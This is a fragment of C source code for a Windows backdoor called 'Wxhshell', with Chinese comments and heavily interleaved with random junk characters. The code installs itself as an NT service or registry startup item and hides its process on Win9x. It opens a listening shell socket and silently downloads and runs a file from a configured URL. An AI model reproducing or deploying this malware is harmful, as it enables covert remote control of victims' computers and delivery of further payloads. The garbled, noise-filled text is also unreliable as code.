] kPX2e h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pM'IQ3N 5v>{Z0TE[6 CloseHandle(hProcess); qwNKRqT G9y12HV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dMs39j if(hProcess==NULL) return 0; {F6dSF` :n>ccZeMv HMODULE hMod; *[1u[H9Cv char procName[255]; A;WwS?fyQ unsigned long cbNeeded; [T[9*6Kt
6:@t=C if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e(; `9T 'UvS3]bSYW CloseHandle(hProcess); @wdB% qzlMn)e if(strstr(procName,"services")) return 1; // 以服务启动 zhX`~){N6 HMS9y%zl/ return 0; // 注册表启动 :OQ:@Yk } $,QpSK`9i E4v_2Q
-w // 主模块 #u<oEDQ int StartWxhshell(LPSTR lpCmdLine) m~j\?mb{+ { ~Riu*< SOCKET wsl; 01{r^ZT`RH BOOL val=TRUE; ?y*+^E0 int port=0; |N=@E,33 struct sockaddr_in door; [
4Y
`O `k}l$ih`X if(wscfg.ws_autoins) Install(); e9Ul A Il^\3T+ port=atoi(lpCmdLine); BvZ^^IUb <`p75B if(port<=0) port=wscfg.ws_port; oLqbR? 2htA7V*dD WSADATA data; !,6v=n[Nz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .KU SNrs' n:bB$Ai2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [6_Du6\h setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -Nlf~X door.sin_family = AF_INET; 8pq-nuf|K door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0s\/qyqm door.sin_port = htons(port); J%\~<_2ny x'@32gv if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y0X"Zw closesocket(wsl); >: W-C{% return 1; 4QjWZ Wl } )pZekh]v .?i-rTF: if(listen(wsl,2) == INVALID_SOCKET) { C'8!cPFVv closesocket(wsl); EOBs}M; return 1; sR>`QIi(a } m,@1LwBH Wxhshell(wsl); F[7Kw"~J WSACleanup(); d@D;'2}Yc ?9(o*lp return 0; ;X$q#qzN# o/dMm:TF } pVV}1RDa vhYMWfbY // 以NT服务方式启动 `dgM|.w5= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !O F?xW { :PFx& DWORD status = 0; h"PS-]:CD DWORD specificError = 0xfffffff; S7UZGGjTk ib(>vp$V serviceStatus.dwServiceType = SERVICE_WIN32; "^9[OgE: serviceStatus.dwCurrentState = SERVICE_START_PENDING; C?[a3rNH( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B|Fl,55 serviceStatus.dwWin32ExitCode = 0; uO
?Od serviceStatus.dwServiceSpecificExitCode = 0; 9RCO|J serviceStatus.dwCheckPoint = 0; %R.xS}
Q serviceStatus.dwWaitHint = 0; @ kJ0K w*<Y$hnBzF hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [:nx);\ if (hServiceStatusHandle==0) return; >k&8el6h ^zaKO'KcV status = GetLastError(); |-(IJG#) if (status!=NO_ERROR) jJ*@5?A { a@fE46o6< serviceStatus.dwCurrentState = SERVICE_STOPPED; z29qARiX serviceStatus.dwCheckPoint = 0; pK6e/eC serviceStatus.dwWaitHint = 0; aE7u5PM serviceStatus.dwWin32ExitCode = status; %ezb^O_6v serviceStatus.dwServiceSpecificExitCode = specificError; ggm2%|?X SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3_f&Y return; e}'#Xv } ^])e[RN7?n cS D._"P serviceStatus.dwCurrentState = SERVICE_RUNNING; ocIt@#20K serviceStatus.dwCheckPoint = 0; #cj\~T.,, serviceStatus.dwWaitHint = 0; 49+ >f if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p{ @CoOn } mVv\bl?< G}!7tU // 处理NT服务事件,比如:启动、停止 6o=qJ`m[? VOID WINAPI NTServiceHandler(DWORD fdwControl) xH_A@hf; { Lh8bQH switch(fdwControl) =zeFK_S! { )%iRZ\`f case SERVICE_CONTROL_STOP: F>~ xzc serviceStatus.dwWin32ExitCode = 0; <`R|a * serviceStatus.dwCurrentState = SERVICE_STOPPED; \!+-4,CbZY serviceStatus.dwCheckPoint = 0; -ajM5S=d* serviceStatus.dwWaitHint = 0; IPl@ DH {
SwdC, SetServiceStatus(hServiceStatusHandle, &serviceStatus); I#|ocz } 10C 2= return; ;YK!EMM4!h case SERVICE_CONTROL_PAUSE: Aautih@LX serviceStatus.dwCurrentState = SERVICE_PAUSED; gEZwW]r- break; NXzU0 case SERVICE_CONTROL_CONTINUE: 9z5"y|$ serviceStatus.dwCurrentState = SERVICE_RUNNING; ,c4c@|Bh? break; "El^38Ho case SERVICE_CONTROL_INTERROGATE: lpl8h4d break; v!NB~"LQ }; uP{;*E3? SetServiceStatus(hServiceStatusHandle, &serviceStatus); b!i`o%Vb } e#>tM T*h!d(
// 标准应用程序主函数 D4< -8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )Vwj9WD { S5i+vUI8C nK+lE0 // 获取操作系统版本 HQq`pG%m6 OsIsNt=GetOsVer(); R<f#r0 3@| GetModuleFileName(NULL,ExeFile,MAX_PATH); 1&"-*) %ZujCZn // 从命令行安装 OSp?okV if(strpbrk(lpCmdLine,"iI")) Install(); 9pWi.J #F_'}?09% // 下载执行文件 FE/$(7rM if(wscfg.ws_downexe) { f>.4-a? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `WH[DQ WinExec(wscfg.ws_filenam,SW_HIDE); F\>oxttS1 } ZlthYuJ j((hqJr if(!OsIsNt) { B|cA[ // 如果时win9x,隐藏进程并且设置为注册表启动 No:^hY:F8 HideProc(); wA?@v|,dZ StartWxhshell(lpCmdLine); [^<SLTev } !8.En8Z<D- else B{s]juPG if(StartFromService()) f#@S*^%V$ // 以服务方式启动 '@'B>7C# StartServiceCtrlDispatcher(DispatchTable); 7t'(`A6t/ else |q3f]T&+>{ // 普通方式启动 p3g4p StartWxhshell(lpCmdLine); ]#F q>E Mv|vRx^b return 0; p1+7<Y: }
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